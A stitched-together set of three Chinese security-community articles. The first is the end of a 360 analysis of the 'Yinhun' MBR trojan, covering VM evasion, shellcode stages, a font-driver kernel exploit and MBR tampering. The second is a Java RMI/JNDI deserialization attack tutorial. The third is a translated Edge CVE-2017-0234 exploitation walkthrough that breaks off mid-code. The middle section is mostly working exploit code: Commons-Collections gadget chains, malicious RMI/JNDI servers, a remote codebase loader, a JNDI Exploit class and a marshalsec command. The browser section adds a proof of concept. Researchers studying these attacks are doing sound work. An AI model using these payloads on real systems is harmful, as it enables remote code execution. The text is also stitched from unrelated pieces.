而后会读取系统信息，
配置文件是否忽略虚拟机标志。
图47
判断虚拟机方法为：
图48
具体实现为：
图49
图50
然后判断CPUID信息是否为这几类虚拟机。
图51
获取BIOS信息判断虚拟机
图52
如果不是 则释放五个白利用中一个，将文件写到Appdata目录。
图53
而后调用 COM IShellWindows接口运行该白利用：
图54
启用该进程后 会加载白利用的DLL 该白利用DLL 又会创建线程以不同参数（参数还是通过共享内存设置）执行 ShellCode6:
图55
再次运行自身（该白利用文件）:
图56
执行后将ShellCode6 的NE代码共享到新创建的白利用进程:
图57
而后通过APC方式 执行该部分代码:
图58
然后创建rundll32进程 依然是执行ShellCode6，Rundll32命令行为:
图59
依然通过 NtMapViewOfSection将Shellcode6执行代码共享到Rundll32
图60
直接通过 SetThreadContext修改EIP实现自身代码运行
图61
执行是ShellCode6
这次函数为:
图62
首先找到Null驱动的 FastIo 派遣函数表：
图63
找到NULL驱动入口点后通过特征搜到 FastIoDispatch 而后作为参数传入。
图64
而后执行 执行第七块ShellCode
图65
**2.8 ShellCode7**
入口点创建线程并执行：
图66
线程函数为获取漏洞溢出资源信息 加载带有漏洞的 atmfd.dll 驱动 文件
图67
而后调用 AddFontMemResourceEx 调用 加载 atmfd.dll 驱动文件：
图68
触发漏洞函数为：
图69
覆盖前函数表：
图70
下写断点：
图71
而后函数表为：
图72
0x7ff6079b 该处函数为:
图73
而后触调用读取函数直接发该ShellCode内核执行 为ShellCode8：
图74
**2.9 ShellCode8**
功能主要负责加载后面的 NE执行文件
获取Nt基地址：
图75
而后获取相关函数地址 修正导入表 重定位：
图76
将入口点作为参数传入 ExQueueWorkItem 执行。
**2.10 ShellCode9**
为驱动函数入口点 主要作用是接受应用层来的写磁盘驱动，加载并执行该驱动
获取NTLdr信息。
图77
而后创建设备名跟应用层交互:
图78
当应用层传来 0x220004 IO控制码时候。
图79
QueueWorkItem加载该驱动：
图80
加载
图81
修正 并加载篡改MBR驱动执行
图82
**2.11 ShellCode10**
创建设备名
图83
注册DPC 注册关机回调 在最后一次关机回调中写入MBR：
图84
关机回调中直接发给磁盘底层设备：
图85
设备信息为
图86
**3 尾声**
“隐魂”就像一个幽灵，所过之处不留任何痕迹。近段时间，MBR顽固木马的活跃性增高，它的查杀难度本就很高，如果配合多种反侦察和对抗技术，随时有可能形成爆发局势，危害将不亚于勒索病毒。
为了预防“隐魂”木马，360安全中心建议网友：应及时为包括Adobe在内的常用软件更新升级，避免黑客利用老版本软件的漏洞实施攻击；网络上流传的色情播放器大多夹带了木马病毒，切勿因一时贪恋而掉入桃色陷阱；同时，如果发现浏览器页面无故被篡改或锁定、电脑出现异常卡慢等情况，最好使用360安全卫士等软件进行查杀，以防“隐魂”通过远程控制对个人数据和财物造成更大的损失。
图87 | 社区文章 |
# RMI 定义
`RMI`是远程方法调用的简称，能够帮助我们查找并执行远程对象的方法。通俗地说，远程调用就象将一个`class`放在A机器上，然后在B机器中调用这个`class`的方法。
* `RMI`（`Remote Method Invocation`），为远程方法调用，是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中，也可以是运行在网络上的不同计算机中。
* `Java RMI`（`Java Remote Method Invocation`），是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。
从客户端-服务器模型来看，客户端程序直接调用服务端，两者之间是通过`JRMP`（ [Java Remote Method
Protocol](https://en.wikipedia.org/wiki/Java_Remote_Method_Protocol)）协议通信，这个协议类似于HTTP协议，规定了客户端和服务端通信要满足的规范。
# RMI 代理模式
## 概念
### Stub和Skeleton
RMI的客户端和服务器并不直接通信，客户与远程对象之间采用的代理方式进行`Socket`通信。为远程对象分别生成了客户端代理和服务端代理，其中位于客户端的代理类称为Stub即存根（包含服务器`Skeleton`信息），位于服务端的代理类称为`Skeleton`即骨干网。
### RMI Registry
`RMI注册表`，默认监听在`1099`端口上，`Client`通过`Name`向`RMI Registry`查询，得到这个绑定关系和对应的`Stub`。
### 远程对象
远程对象是存在于服务端以供客户端调用方法的对象。任何可以被远程调用的对象都必须实现`java.rmi.Remote`接口，远程对象的实现类必须继承`UnicastRemoteObject`类。这个远程对象中可能有很多个函数，但是只有在远程接口中声明的函数才能被远程调用，其他的公共函数只能在本地的`JVM`中使用。
### 序列化传输数据
客户端远程调用时传递给服务器的参数，服务器执行后的传递给客户端的返回值。参数或者返回值，在传输的时会被序列化，在被接受时会被反序列化。
因此这些传输的对象必须可以被序列化，相应的类必须实现`java.io.Serializable`接口，并且客户端的`serialVersionUID`字段要与服务器端保持一致。
## 结构与流程
远程方法调用通讯结构图：
* 服务端创建远程对象，`Skeleton`侦听一个随机的端口，以供客户端调用。
* `RMI Registry`启动，注册远程对象，通过`Name`和远程对象进行关联绑定，以供客户端进行查询。
* 客户端对`RMI Registry`发起请求，根据提供的`Name`得到`Stub`。
* `Stub`中包含与`Skeleton`通信的信息（地址，端口等），两者建立通信，`Stub`作为客户端代理请求服务端代理`Skeleton`并进行远程方法调用。
* 服务端代理`Skeleton`调用远程方法，调用结果先返回给`Skeleton`，`Skeleton`再返回给客户端`Stub`，`Stub`再返回给客户端本身。
从逻辑上来看，数据是在`Client`和`Server`之间横向流动的，但是实际上是从`Client`到`Stub`，然后从`Skeleton`到`Server`这样纵向流动的，如下图所示：
这里执行远程对象的方法的是RMI通讯的服务端，为攻击服务端的方式
## 代码实现
* 定义一个接口，继承`java.rmi.Remote`，并且接口中的全部方法抛出`RemoteException`异常。
* `sayHello`，为测试接口。
* `exp1`，为客户端攻击服务端接口。
* `exp2`，为服务端攻击客户端接口。
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteHello extends Remote {
String sayHello(String name) throws RemoteException;
String exp1(Object work) throws RemoteException;
Object exp2() throws RemoteException;
}
* 定义接口的实现类
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;
public class RemoteHelloImpl implements RemoteHello {
public String sayHello(String name) throws RemoteException {
return String.format("Hello, %s!", name);
}
public String exp1(Object exp) throws RemoteException {
System.out.println("exp1 is " + exp);
return "exp1";
}
public Object exp2() throws Exception {
System.out.println("exp2");
return payload();
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
* 创建`RMI Registry`，创建远程对象，绑定`Name`和远程对象，运行RMI服务端。
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
//实例化对象
RemoteHello h = new RemoteHelloImpl();
//用于导出远程对象，将此服务转换为远程服务接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
//// 将RMI服务注册到1099端口:
LocateRegistry.createRegistry(1099);
// 注册此服务，服务名为"Hello":
//Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
Naming.rebind("Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
* 运行客户端
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
// 连接到服务器localhost，端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
String rs = h.sayHello("rai4over");
// 打印调用结果:
System.out.println(rs);
}
}
客户端成功完成远程方法调用。
## readObject攻击RMI
RMI的客户端与服务端通信内容为序列化数据，客户端和服务端可以相互进行反序列化攻击。
### 本地代码库
通常设定的`CLASSPATH`可称为“本地代码库”，磁盘上加载本地类的位置的列表。
环境：
* 服务端JDK版本为`JDK1.7u21`
* 服务端存在`Commons-Collections3.1`或其他可利用组件。
#### 攻击服务端
如果客户端传递给服务端恶意序列化数据，服务端反序列化时调用`readObject`就会遭到攻击。
客户端攻击POC：
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
// 连接到服务器localhost，端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
// 打印调用结果:
System.out.println(rs);
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
#### 攻击客户端
反之，服务端同样可以通过恶意反序列化数据攻击客户端。
受害客户端代码：
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
// 连接到服务器localhost，端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
//String rs = h.exp1(payload());
Object rs = h.exp2();
// 打印调用结果:
System.out.println(rs);
}
}
### 远程动态加载代码
Java™平台最重要的功能之一是能够将Java类组件从任何统一资源定位器（URL）动态下载到通常在不同物理系统上，以单独进程运行的虚拟机（VM）的能力。
Java RMI利用此功能下载和执行类，使用Java RMI API，不仅浏览器中的VM，任何VM都可以下载任何Java类文件，包括专门的Java
RMI存根类，这些类可以使用服务器系统的资源在远程服务器上执行方法调用。
`java.rmi.server.codebase`属性值表示一个或多个URL位置，可以从中下载所需的资源。
受害端使用该属性远程动态加载需要两个条件：
* `java.rmi.server.useCodebaseOnly`的值为`false`。为`true`时，禁用自动加载远程，仅从`CLASSPATH`和当前虚拟机的`java.rmi.server.codebase`指定路径加载类文件。从`JDK 6u45`、`7u21`开始，`java.rmi.server.useCodebaseOnly`的默认值就是`true`。
* 设置`securityManager`和`java.security.policy`
#### 客户端动态加载
RMI中`RMI client`利用远程动态加载代码示意图如下：
* 创建HTTP服务器，作为动态加载代码的远程仓库。
* 服务端创建远程对象，`RMI Registry`启动并完成名称绑定，并设置`java.rmi.server.codebase`。
* 客户端对`RMI Registry`发起请求，，根据提供的`Name`得到`Stub`，并根据服务器返回的`java.rmi.server.codebase`远程加载动态所需的类。（客户端也可以自行指定`java.rmi.server.codebase`）
`python3 -m http.server`开启http服务，并放入`commons-collections-3.1.jar`依赖。
恶意服务器端设置`java.rmi.server.codebase`的代码：
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");
//实例化对象
RemoteHello h = new RemoteHelloImpl();
//用于导出远程对象，将此服务转换为远程服务接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
//// 将RMI服务注册到1099端口:
LocateRegistry.createRegistry(1099);
// 注册此服务，服务名为"Hello":
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
//Naming.rebind("Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
受害攻击客户端代码：
package RMI;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
// 连接到服务器localhost，端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
//String rs = h.exp1(payload());
Object rs = h.exp2();
// 打印调用结果:
System.out.println(rs);
}
}
`Resource`目录下的`java.policy`配置权限如下：
grant {
permission java.security.AllPermission;
};
运行客户端，具体命令（classpath太长省略）如下：
java -Djava.rmi.server.useCodebaseOnly=false -Dfile.encoding=UTF-8 -classpath /AAAAA:/BBBBB RMI.RMIClient
客户端成功远程动态加载`commons-collections-3.1.jar`并完成RCE。
如果服务端没有设置`java.rmi.server.codebase`指定远程动态加载代码的位置，也可以通过客户端自行指定：
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://127.0.0.1:8000/commons-collections-3.1.jar -Dfile.encoding=UTF-8 -classpath /AAAAA:/BBBBB RMI.RMIClient
#### 服务端动态加载
恶意客户端代码：
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIClient {
public static void main(String[] args) throws Exception {
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/commons-collections-3.1.jar");
// 连接到服务器localhost，端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"Hello"的服务并强制转型为Hello接口:
RemoteHello h = (RemoteHello) registry.lookup("Hello");
// 正常调用接口方法:
//String rs = h.sayHello("rai4over");
String rs = h.exp1(payload());
//Object rs = h.exp2();
// 打印调用结果:
System.out.println(rs);
}
public static Object payload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
受害服务端代码：
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMITEST {
public static void main(String[] args) throws RemoteException, MalformedURLException {
try {
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
//实例化对象
RemoteHello h = new RemoteHelloImpl();
//用于导出远程对象，将此服务转换为远程服务接口
RemoteHello skeleton = (RemoteHello) UnicastRemoteObject.exportObject(h, 0);
//// 将RMI服务注册到1099端口:
LocateRegistry.createRegistry(1099);
// 注册此服务，服务名为"Hello":
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
//Naming.rebind("Hello", h);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
运行方法与上文相同
# RMI 工厂模式
除了代理模式，RMI还存在经典的工厂模式，流程图如下：
`ProductImp`为远程对象，`FactoryImpl`对象指向`ProductImp对象`，大致流程如下：
* 创建`FactoryImpl对象`，设置`FactoryImpl对象`的`指向ProductImp`（通过HTTP等协议定位，可以位于其他服务器），具有指向功能的对象也可以叫做`reference对象`。
* 服务器端的`RMI Registry`启动，创建并注册`reference对象`（指向`FactoryImpl对象`），通过`Name`和`reference对象`进行关联绑定，以供客户端进行查询。
* 客户端对`RMI Registry`发起请求，根据提供的`Name`得到指向`FactoryImpl对象`的`reference对象`。
* 客户端加载`FactoryImpl对象`到本地，并调用`FactoryImpl对象`的方法，得到指向`ProductImp对象`的`reference对象`。
* 客户端加载`ProductImp对象`到本地，并调用`ProductImp对象`的方法，得到最终结果。
这里执行远程对象的方法的是RMI通讯的客户端，为攻击客户端的方式，是在具体的代码和利用场景可以参考FastJson中的JNDI注入。
# JNDI 定义
JNDI（Java Naming and Directory
Interface），是SUN公司提供的一种标准的Java命名系统接口。为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口，类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一，所有的J2EE容器都必须提供一个JNDI的服务。
JNDI由JNDI API、命名管理、JNDI SPI（service provider
interface）服务提供的接口。我们的应用可以通过JNDI的API去访问相关服务提供的接口。
我们要使用JNDI，必须要有服务提供方，我们常用的就是JDBC驱动提供数据库连接服务，然后我们配置JNDI连接。。
JDK也为我们提供了一些服务接口：
* LDAP （Lightweight Directory Access Protocol） 轻量级目录访问协议
* CORBA （Common Object Request Broker Architecture） 公共对象请求代理结构服务
* RMI（Java Remote Method Invocation）JAVA远程远程方法调用注册
* DNS（Domain Name Service）域名服务
漏洞中涉及到最多的就是`RMI`，`LDAP`两种服务接口
# JNDI注入
当`lookup`函数的参数`url`可控时，就是所谓的JNDI注入，使用的其实就是工厂模式。
## RMI协议
测试环境：
* `com.sun.jndi.rmi.object.trustURLCodebase` 为`true`，`JDK 6u132`、`7u122`、`8u113` 开始默认为`false`，测试环境为`java version "1.8.0_112"`
恶意服务器代码：
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class JNDISERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference Exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(Exploit);
registry.bind("Exploit", refObjWrapper);
}
}
返回一个`reference对象`，并且指向`http://127.0.0.1:8000/Exploit`，流程和工厂模式一样。
Exploit源代码：
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class Exploit implements ObjectFactory
{
static {
System.err.println("Pwned");
try {
String[] cmd = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
java.lang.Runtime.getRuntime().exec(cmd);
} catch ( Exception e ) {
e.printStackTrace();
}
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
编译后放入`http://127.0.0.1:8000/`根目录
受害者JNDI客户端代码：
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Properties;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://127.0.0.1:1099/");
Context ctx = new InitialContext(env);
ctx.lookup("Exploit");
//ctx.lookup("rmi://127.0.0.1:1099/Exploit");
//ctx.lookup("ldap://127.0.0.1:1099/Exploit");
}
}
如果通过`env`设置上下文的环境变量为`rmi://127.0.0.1:1099/`，后面lookup则不需要ULR定位，可以直接为已绑定的`Name`。
lookup支持动态协议转换，即便已经设置了上下文，也可以重新指定URL，比如使用ldap协议。
## LDAP协议
LDAP协议也需要满足条件，但适用范围更广泛：
* `com.sun.jndi.ldap.object.trustURLCodebase` 为`true`，`JDK 11.0.1`、`8u191`、`7u201`、`6u211`开始默认为`false`，测试环境为`java version "1.8.0_112"`。
这里直接使用`marshalsec`启动恶意的LDAP服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#Exploit 1099
## 小结
# 参考
<https://blog.csdn.net/xinghun_4/article/details/45787549>
[https://www.mi1k7ea.com/2019/09/01/Java-RMI%E5%8E%9F%E7%90%86%E4%B8%8E%E4%BD%BF%E7%94%A8/](https://www.mi1k7ea.com/2019/09/01/Java-RMI原理与使用/)
<https://www.jianshu.com/p/53842110fe49>
<https://www.liaoxuefeng.com/wiki/1252599548343744/1323711850348577>
<https://xz.aliyun.com/t/6660#toc-6>
<https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/codebase.html#section3>
<https://paper.seebug.org/1091/#java-rmi_1>
<https://y4er.com/post/attack-java-jndi-rmi-ldap-2/> | 社区文章 |
# Edge 零基础漏洞利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景阐述
自2007举办至今，在pwn2own的比赛中，浏览器一直是重头戏。观看比赛的同时，相信好多小伙伴已经跃跃欲试了。但你还记得有多少次信心满满，最后又都暂且搁置了呢？文章主要针对浏览器漏洞利用零基础的人群，笔者详细记录了在漏洞利用过程走过的一些坑与总结的技巧。最终达到在解决一些共有的痛点的同时，重新恢复大家漏洞利用的信心，毕竟哪位伟人曾经曰过：信心比黄金还宝贵。
## 文章目标
看着大佬的花式炫技，就是无从下手怎么办？眼看千遍，不如动手一遍。毕竟眼见为实，也更加有趣。勤动手操作，零基础在浏览器中稳定的弹出第一个计算器!
## 动手实战
这里以 CVE-2017-0234为例，ch 的版本为：v1.4.3。poc 文件如下：
function jitBlock(arr, index)
{
arr[index] = 0xdeedbeef;
}
var arr = new Uint32Array(0x40000/4)
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0)
}
jitBlock(arr, 0x7fffffff)
windbg 中运行 poc 后，得到如下crash信息：
对比 js 文件与汇编，我们很容易发现 rbx 寄存器代表整个 typearray， r14 代表数组的索引。漏洞原因：jit
代码生成时，过度优化导致的数组越界访问。
## 背景知识
我们现在只知道这个洞可以越界写，那么怎么把这个洞利用起来呢？回答这个疑问，需要解决一些基础问题：
##### 1\. 漏洞对象的分配使用哪个分配器（VirtualAlloc、malloc、HeapAlloc、MemGC）？
##### 2\. 分配的大小是否任意值？
##### 3\. 漏洞对象分配由于内存对齐等原因，实际占有多大空间？
我们挨个解决上述问题。
#### 1\. 漏洞对象的分配使用哪个分配器（VirtualAlloc、malloc、HeapAlloc、MemGC）？
解决这个问题，方便我们决定用哪个对象把越界区域占住。
首先模糊匹配系统中有哪些 alloc 相关的api。
> x kernel32!virtual*
00007ff8`fc40b0d0 KERNEL32!VirtualQueryStub (<no parameter info>)
00007ff8`fc40a2a0 KERNEL32!VirtualAllocStub (<no parameter info>)
00007ff8`fc4273e0 KERNEL32!VirtualProtectExStub (<no parameter info>)
00007ff8`fc40b0b0 KERNEL32!VirtualProtectStub (<no parameter info>)
00007ff8`fc40ba70 KERNEL32!VirtualUnlockStub (<no parameter info>)
00007ff8`fc4105b0 KERNEL32!VirtualAllocExNumaStub (<no parameter info>)
00007ff8`fc40a2c0 KERNEL32!VirtualFreeStub (<no parameter info>)
00007ff8`fc4273c0 KERNEL32!VirtualAllocExStub (<no parameter info>)
00007ff8`fc40b0a0 KERNEL32!VirtualQueryExStub (<no parameter info>)
00007ff8`fc4273d0 KERNEL32!VirtualFreeExStub (<no parameter info>)
00007ff8`fc40ed20 KERNEL32!VirtualLockStub (<no parameter info>)
把关键 api 的参数及返回值打印出来
> bu KERNELBASE!VirtualAlloc ".if(@rdx>=0x40000){.printf "addr=%p size=%p\n ",rcx, rdx; gc} .else{gc}"
> bu KERNELBASE!VirtualAlloc+0x5a ".if(1==2){} .else{.printf "ret=%p \n",rax;gc}"
重新运行后，可以确定 arr 数组确实是由 VirtualAlloc 分配，有两处与之相关的分配记录，分配的地址相同，大小不一样，感兴趣的同学可以继续把
VirtualAlloc的其他参数打印出来。至于为什么同一个地址进行两次分配，这个问题我们放在后面统一释疑，目前只关注漏洞利用本身。
#### 2\. 分配的大小是否任意值？
要提高漏洞利用的成功率，首先需要确保漏洞的稳定复现。这里先使用结论，原因同上，释疑放在后面。
> bu chakracore!Js::JavascriptArrayBuffer::IsValidVirtualBufferLength
/*
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
*/
分配的长度需要同时满足上述的条件，所以 len >= 2^(16+n) or > 2^(24+n)。 [这里 n 满足非负整数]
所以满足条件的最小len为 2^16 = 0x10000
#### 3\. 漏洞对象分配由于内存对齐，实际占有多大空间？
windbg 的 address 命令可以解决这个疑问。
000001c3`21cc00d2 42893cab mov dword ptr [rbx+r13*4],edi ds:000001c2`21c9fffc=????????
0:003> !address rbx
Usage: <unknown>
Base Address: 000001c0`21ca0000
End Address: 000001c0`21cb0000
Region Size: 00000000`00010000 ( 64.000 kB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE
Type: 00020000 MEM_PRIVATE
Allocation Base: 000001c0`21ca0000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 1 (target), length: 10000
0:003> !address 000001c0`21cb0000
Usage: <unknown>
Base Address: 000001c0`21cb0000
End Address: 000001c1`21ca0000
Region Size: 00000000`ffff0000 ( 4.000 GB)
State: 00002000 MEM_RESERVE
Protect: <info not present at the target>
Type: 00020000 MEM_PRIVATE
Allocation Base: 000001c0`21ca0000
Allocation Protect: 00000001 PAGE_NOACCESS
Content source: 0 (invalid), length: ffff0000
两部分总计的内存为：0xffff0000 + 0x10000 = 0x100000000=4G，调整 poc 实际验证下：
function jitBlock(arr, index, value)
{
arr[index] = value;
}
var arr = new Uint32Array(0x40000/4);
var spray_arr = new Uint32Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
结论： 内存数据喷射可以选择 obj 为：Uint32Array，两个Uint32Array相隔距离为：0x100000000。
## Exp 部分开始
在获得上述背景知识后， 我们可以立即进入Exp了。这部分最为精彩，也请感兴趣的读者动手操作起来。
#### 1 – 越界写 to 越界读写
单纯的越界写对象的数据部分没有多大意义，我们需要修改一个对象的头信息，也就是对象的元数据。修改的目的是：让对象获得比之前更大的空间访问能力（越界读写）。
这里继续修改 poc：
function jitBlock(arr, index, value)
{
arr[index] = value;
}
var arr = new Uint32Array(0x40000/4);
var spray_arr = new Array(0x40000/4);
for(var i=0; i<0x10000; i++){
jitBlock(arr, 0, 0x41414141); // force jit
}
jitBlock(spray_arr, 0, 0x42424242);
这里我们看到 spray_arr 的元数据在 arr 之后，用 windbg 帮我解析下数据的格式:
> dx -r1 ((chakracore!Js::SparseArraySegmentBase *)0x1b19d0c0020)
对照 上图， spray_arr 的元数据开始于0x1b19d0c0020， left 为0， length 为 0x1(代表当前 segment
初始化了一个元素 0x42424242)， size 为 0x10002。
为了让 spray_arr 数组获得越界读写的能力， 需要 arr 数组越界写掉它的 length 和 size 和两个域。
调整poc 如下：
function jitBlock(arr, index, value)
{
arr[index] = value;
}
